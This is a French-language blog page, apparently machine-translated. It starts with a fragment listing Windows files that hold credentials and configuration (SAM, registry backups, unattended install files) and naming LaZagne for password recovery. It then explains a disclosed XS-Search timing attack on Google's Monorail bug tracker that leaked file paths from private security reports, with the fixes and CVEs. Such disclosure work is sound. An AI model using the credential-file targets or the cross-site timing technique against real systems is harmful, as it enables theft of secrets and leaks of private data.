C: \ sysprep \ sysprep.xml

% windir% \ Panther \ Unattended.xml

C: \ inetpub \ wwwroot \ Web.config

% windir% \ system32 \ config \ AppEvent.Evt (journal d'application)

% windir% \ system32 \ config \ SecEvent.Evt (journal de sécurité)

% windir% \ system32 \ config \ default.sav

% windir% \ system32 \ config \ security.sav

% windir% \ system32 \ config \ software.sav

% windir% \ system32 \ config \ system.sav

% windir% \ system32 \ inetsrv \ config \ applicationHost.config

% windir% \ system32 \ inetsrv \ config \ schema \ ASPNET_schema.xml

% windir% \ System32 \ drivers \ etc \ hosts (entrées DNS)

% windir% \ System32 \ drivers \ etc \ networks (paramètres réseau)

% windir% \ system32 \ config \ SAM (très utile uniquement si vous avez accès aux fichiers lorsque la machine est éteinte)

LaZagne a également été mentionnée, qui est «une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local». Je ne l'ai pas utilisé - mais ça a l'air bien!


XS-Searching Google tracker de bogues pour trouver le code source vulnérable

Ou comment les attaques de synchronisation sur canal latéral ne sont pas si impraticables

Luan Herrera

Luan Herrera

Suivre

19 nov.2018 · 6 min de lecture

Monorail est un outil de suivi des problèmes open source utilisé par de nombreux projets en «orbite chromique», y compris le monorail lui-même. D'autres projets incluent Angle, PDFium, Gerrit, V8 et l'Alliance for Open Media. Il est également utilisé par Project Zero, l'équipe de recherche de bogues de 0 jour de Google.

Cet article est une explication détaillée de la façon dont j'aurais pu exploiter le suivi des problèmes de Monorail de Google pour divulguer des informations sensibles (fichiers de code source vulnérables et numéros de ligne) à partir de rapports de bogues privés via une attaque XS-Search.


Où commencer?

L'une des premières fonctionnalités que j'ai examinées lors de l'analyse de Monorail était la possibilité de télécharger le résultat d'une certaine requête de recherche au format CSV.

Il ne m'a pas fallu longtemps pour remarquer qu'il était vulnérable à une attaque CSRF. En d'autres termes, il était possible de forcer un utilisateur à télécharger un CSV contenant les résultats d'une requête de recherche en cas d'accès à un lien malveillant.

https://bugs.chromium.org/p/chromium/issues/csv?can=1&q=Restrict=View-SecurityTeam&colspec=ID

Comme le montre l'image, il n'y avait aucune protection contre les attaques CSRF. Ainsi, par exemple, une demande effectuée avec la balise «Restrict-View-SecurityTeam» finirait par filtrer les résultats sur les problèmes de sécurité non divulgués uniquement. Si un membre de l'équipe de sécurité de Google ou un journaliste de bogue de haut niveau accédait à ce lien, il téléchargerait un fichier CSV contenant tous les problèmes non divulgués auxquels il a accès.


Dupliquer et conquérir

Une autre découverte importante a été que les colonnes affichées dans un résultat de recherche pouvaient être dupliquées, ce qui nous permet d'augmenter arbitrairement la longueur du CSV généré.

Pour illustrer, si nous devions accéder à l'URL ci-dessous:

https://bugs.chromium.org/p/chromium/issues/csv?can=1&q=id:51337&colspec=ID+ Résumé + Résumé + Résumé

Le CSV téléchargé contiendrait 3 colonnes récapitulatives répétées, au lieu d'une seule.

CSV généré à partir d'une requête contenant la colonne "Résumé" 3 fois.


Répète? Une attaque XS-Search?

En combinant ces deux vulnérabilités, nous avons tout ce qui est nécessaire pour effectuer une attaque de recherche intersite (XS-Search):

  1. Capacité d'effectuer des requêtes de recherche complexes.
  2. Capacité à gonfler la réponse d'une requête de recherche.

Le deuxième point est particulièrement important. Si la réponse d'une requête de recherche correspond à un bogue, nous pouvons augmenter considérablement le CSV par rapport à une requête qui ne le fait pas.

En raison de cette grande différence dans la longueur de la réponse, il est possible de calculer le temps nécessaire à chaque demande et de déduire si la requête a renvoyé des résultats ou non. De cette façon, nous obtenons la capacité de poser des questions booléennes d'origine croisée.

L'expression «questions booléennes d'origine croisée» semble bizarre, mais cela signifie essentiellement que nous pouvons poser des questions comme «y a-t-il un bogue privé qui correspond au dossier« src / third_party / pdfium / »?» Et obtenir la réponse croisée - origine. Cela implique plusieurs étapes qui seront décrites dans la section suivante.

Pour l'instant, les exemples ci-dessous illustrent le cœur du problème:

1er cas - CSV généré à partir de la requête «Résumé: ce bogue existe».

2ème cas - CSV généré à partir de la requête «Résumé: ce bogue n'existe pas».

3e cas - CSV généré à partir de la requête "Résumé: ce bogue existe OU Résumé: ce bogue n'existe pas".

Comme nous pouvons le voir, dans le premier et le troisième cas, nous aurions un CSV arbitrairement grand, car les deux requêtes correspondent à un bogue avec un résumé «Ce bogue existe». Dans le second cas, le CSV serait vide (ne contenant que l'en-tête), car la requête ne correspondait à aucun bogue avec le résumé «Ce bogue n'existe pas». Notez que dans le troisième cas, nous utilisons l'opérateur logique OU pour interroger ensemble les premier et deuxième cas.


Demander ou ne pas demander?

L'un des problèmes que j'ai rencontrés en essayant de créer un PoC était de décider quoi rechercher. La recherche de Monorail ne nous permet pas de rechercher des lettres spécifiques dans un rapport, seulement des mots. Cela signifiait que nous ne pouvions pas forcer le rapport char par char.

Après avoir réalisé cela, j'ai dû prendre du recul et rechercher des rapports de bogues plus anciens à la recherche d'informations pertinentes et susceptibles d'être exfiltrées par l'attaque.

C'est à ce moment que j'ai appris que de nombreux rapports de bogues de Chromium indiquent le chemin du fichier et le numéro de ligne où la vulnérabilité peut être trouvée.

Exemple tiré de https://bugs.chromium.org/p/chromium/issues/detail?id=770148

C'est parfait pour une attaque XS-Search: puisque la structure de dossiers de Chromium est publique et Monorail traite les barres obliques comme des délimiteurs de mots (une requête pour "path / to / dir" inclut également des résultats pour les bogues contenant la chaîne "path / to / dir / sub / dir ”), nous pouvons facilement générer les requêtes de recherche appropriées.

Notre attaque ressemblerait donc à ceci:

  1. Nous découvrons s'il existe un rapport de bogue privé qui mentionne un fichier dans l'arborescence source de Chromium. Nous le faisons en utilisant https://cs.chromium.org/chromium/src / comme requête de base.
  2. Nous recherchons la première moitié de tous les répertoires sous src / en utilisant l'opérateur OR (par exemple src/blink OR src/build…).
  3. Nous continuons à répéter l'étape 2 en utilisant l'algorithme de recherche binaire. Si quelque chose a été trouvé (c'est-à-dire qu'un gros CSV a été généré), nous restreignons l'espace de recherche à la première moitié. Sinon (c'est-à-dire qu'un CSV vide a été généré), nous limitons l'espace de recherche à la seconde moitié.
  4. Après avoir éliminé tous les répertoires sauf un, nous redémarrons l'étape 2, mais en ajoutant maintenant le répertoire nouvellement trouvé à la fin de la requête de base.

À la fin de ce processus, l'URL complète aura été divulguée et nous pouvons maintenant (en tant qu'attaquant) consulter le fichier correspondant et essayer de trouver la vulnérabilité signalée.


Une seule demande pour les gouverner tous

Vous vous demandez peut-être comment nous avons obtenu la taille du CSV à l'étape 3. Étant donné que la politique de même origine nous interdit d'accéder à des informations de différentes origines, une naïve response.lengthne fonctionnera pas.

Bien que nous ne puissions pas savoir avec certitude la taille exacte d'une réponse, nous pouvons mesurer le temps nécessaire à l'exécution de chaque demande. En utilisant la technique de gonflage de la longueur de réponse décrite dans les sections précédentes, les recherches renvoyant un bogue seraient beaucoup plus lentes à terminer que celles qui ne le font pas.

Cependant, pour atteindre un haut degré de certitude, il ne suffit pas de faire une seule demande. Nous aurions besoin de demander plusieurs fois la même page et de mesurer le temps de réponse moyen pour obtenir un exploit fiable.

C'est à ce moment que l'API Cache est utile, en ne faisant qu'une seule demande et en calculant à plusieurs reprises la durée de mise en cache de la réponse, il est possible de déduire, avec certitude, si le résultat de la requête de recherche a renvoyé des bogues ou non.

En d'autres termes, une petite réponse prend moins de temps pour être mise en cache qu'une réponse plus importante. Étant donné qu'il n'y a presque aucune limitation à l'API de cache (et qu'elle est extrêmement rapide), nous pouvons mettre en cache et mesurer la même réponse plusieurs fois, puis la comparer avec les mesures d'un résultat de requête de recherche vide connu, ce qui nous permet de différencier facilement une grande réponse d'une petite / vide, filtrant les variations de matériel et de réseau, augmentant la vitesse et la fiabilité de l'exploit.

Pour plus d'informations sur la façon dont cela peut être implémenté, vous pouvez vérifier le code de l' exploit .


Conséquences

Au total, j'ai trouvé trois endroits différents où cette attaque pourrait être poursuivie, ce qui a abouti à CVE-2018–10099, CVE-2018–19334 et CVE-2018–19335.

J'ai également été récompensé de 3133,7 $ pour chaque vulnérabilité, totalisant plus de 9400 $.


Contact

Si vous avez des questions, une faute de frappe ou quelque chose qui m'a manqué, n'hésitez pas à me contacter sur @lbherrera_


Les références

[1] Validez la correction du CSRF dans le téléchargement du fichier CSV du monorail ( https://chromium.googlesource.com/infra/infra/+/bdb78934b151ac75bf41711797bbf81130c5a502 ).

[2] Validez la correction du bogue des colonnes dupliquées ( https://chromium.googlesource.com/infra/infra/+/0ff6b6453b6192987bd9240c1e872a7de5fb1313 ).

[3] Commit interdisant les axes à double grille et l'axe Cc ( https://chromium.googlesource.com/infra/infra/+/77ef00cb53d90c9d1f984eca434d828de5c167a5 ).

[4] S'engager à empêcher l'inflation des demandes via le paramètre groupby ( https://chromium.googlesource.com/infra/infra/+/e27936ef82d33a5f286e1f2f22817aa682f79e90 ).

Merci à Caio Lüders .


This blog post is actually just a Google Doc! Create your own blog with Google Docs, in less than a minute.